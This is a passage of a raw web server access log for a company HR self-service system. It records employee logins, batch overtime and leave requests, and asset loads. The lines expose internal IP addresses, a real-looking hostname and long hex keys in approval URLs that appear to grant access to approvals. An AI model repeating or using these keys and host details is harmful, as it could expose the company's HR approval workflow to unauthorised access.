AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:15:36:26 +0800] "GET /ehr/mgr/approve.php?key=096786FC1A6E1BA1DB22D09124783C5005DD027FF363EB5344A9AAA068DB3379461ABFF7F30747719A0F01627F0537215D348E2DE462615BFF6233577CF21425 HTTP/1.1" 200 4166 100.64.0.1 - - [01/Dec/2025:15:36:26 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=096786FC1A6E1BA1DB22D09124783C5005DD027FF363EB5344A9AAA068DB3379461ABFF7F30747719A0F01627F0537215D348E2DE462615BFF6233577CF21425" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:15:36:26 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 192.168.11.126 - - [01/Dec/2025:16:09:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.126 - - [01/Dec/2025:16:09:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [01/Dec/2025:16:09:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [01/Dec/2025:16:09:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.126 - - [01/Dec/2025:16:09:29 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [01/Dec/2025:16:09:29 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.126 - - [01/Dec/2025:16:09:34 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [01/Dec/2025:16:09:34 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.126 - - [01/Dec/2025:16:09:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [01/Dec/2025:16:09:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.126 - - [01/Dec/2025:16:09:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [01/Dec/2025:16:09:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.126 - - [01/Dec/2025:16:09:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54265 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [01/Dec/2025:16:09:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54265 192.168.11.126 - - [01/Dec/2025:16:09:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [01/Dec/2025:16:09:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.126 - - [01/Dec/2025:16:10:16 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8140722334760069 HTTP/1.1" 200 55332 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [01/Dec/2025:16:10:16 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8140722334760069 HTTP/1.1" 200 55332 192.168.11.126 - - [01/Dec/2025:16:10:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8140722334760069 HTTP/1.1" 200 57512 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8140722334760069" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [01/Dec/2025:16:10:23 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8140722334760069 HTTP/1.1" 200 57512 192.168.11.126 - - [01/Dec/2025:16:10:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [01/Dec/2025:16:10:31 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 192.168.11.132 - - [01/Dec/2025:16:15:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [01/Dec/2025:16:15:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.132 - - [01/Dec/2025:16:15:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [01/Dec/2025:16:15:55 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.132 - - [01/Dec/2025:16:15:58 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [01/Dec/2025:16:15:58 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.132 - - [01/Dec/2025:16:16:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [01/Dec/2025:16:16:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.132 - - [01/Dec/2025:16:16:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [01/Dec/2025:16:16:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.132 - - [01/Dec/2025:16:17:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [01/Dec/2025:16:17:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.132 - - [01/Dec/2025:16:17:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [01/Dec/2025:16:17:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.132 - - [01/Dec/2025:16:17:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07362276688274427 HTTP/1.1" 200 8592 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [01/Dec/2025:16:17:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07362276688274427 HTTP/1.1" 200 8592 192.168.11.132 - - [01/Dec/2025:16:17:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07362276688274427 HTTP/1.1" 200 16458 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07362276688274427" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [01/Dec/2025:16:17:40 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07362276688274427 HTTP/1.1" 200 16458 192.168.11.132 - - [01/Dec/2025:16:18:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4195 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.132 - - [01/Dec/2025:16:18:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4195 100.64.0.1 - - [01/Dec/2025:16:33:03 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E8750D3802D068BA3C8DCE5032A170E40B3C8015B4402FAF038F166A920FF544D63A1EC0644C55E61EA494C9E3D7D02E79DA834943FC174CCEB HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [01/Dec/2025:16:33:03 +0800] "HEAD /ehr/mgr/approve.php?key=C745081140A75E8750D3802D068BA3C8DCE5032A170E40B3C8015B4402FAF038F166A920FF544D63A1EC0644C55E61EA494C9E3D7D02E79DA834943FC174CCEB HTTP/1.1" 200 - 192.168.12.69 - - [01/Dec/2025:16:33:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [01/Dec/2025:16:33:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 100.64.0.1 - - [01/Dec/2025:16:33:05 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E8750D3802D068BA3C8DCE5032A170E40B3C8015B4402FAF038F166A920FF544D63A1EC0644C55E61EA494C9E3D7D02E79DA834943FC174CCEB HTTP/1.1" 200 4226 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:16:33:05 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E8750D3802D068BA3C8DCE5032A170E40B3C8015B4402FAF038F166A920FF544D63A1EC0644C55E61EA494C9E3D7D02E79DA834943FC174CCEB HTTP/1.1" 200 4226 100.64.0.1 - - [01/Dec/2025:16:33:06 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E8750D3802D068BA3C8DCE5032A170E40B3C8015B4402FAF038F166A920FF544D63A1EC0644C55E61EA494C9E3D7D02E79DA834943FC174CCEB" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 100.64.0.1 - - [01/Dec/2025:16:33:06 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 192.168.12.69 - - [01/Dec/2025:16:33:05 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [01/Dec/2025:16:33:05 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 100.64.0.1 - - [01/Dec/2025:16:33:07 +0800] "HEAD /eHR/ess/index.php HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [01/Dec/2025:16:33:07 +0800] "HEAD /eHR/ess/index.php HTTP/1.1" 200 - 100.64.0.1 - - [01/Dec/2025:16:33:08 +0800] "HEAD /eHR/ess/index.php HTTP/1.1" 200 - "-" "-" 100.64.0.1 - - [01/Dec/2025:16:33:08 +0800] "HEAD /eHR/ess/index.php HTTP/1.1" 200 - 192.168.12.69 - - [01/Dec/2025:16:33:08 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [01/Dec/2025:16:33:08 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 192.168.12.69 - - [01/Dec/2025:16:33:08 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [01/Dec/2025:16:33:08 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 192.168.12.69 - - [01/Dec/2025:16:33:13 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [01/Dec/2025:16:33:13 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.69 - - [01/Dec/2025:16:33:19 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.12.69 - - [01/Dec/2025:16:33:19 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 100.64.0.1 - - [01/Dec/2025:16:33:20 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:20 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 200 11552 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 200 2477 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 200 208229 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 200 427 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.all.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 200 18198 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 200 1459 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 200 1171 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 200 323 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 200 2471 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 200 1383 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 200 1358 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 200 357 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:16:33:21 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 200 4046 100.64.0.1 - - [01/Dec/2025:16:33:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 100.64.0.1 - - [01/Dec/2025:16:33:22 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 200 1140 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 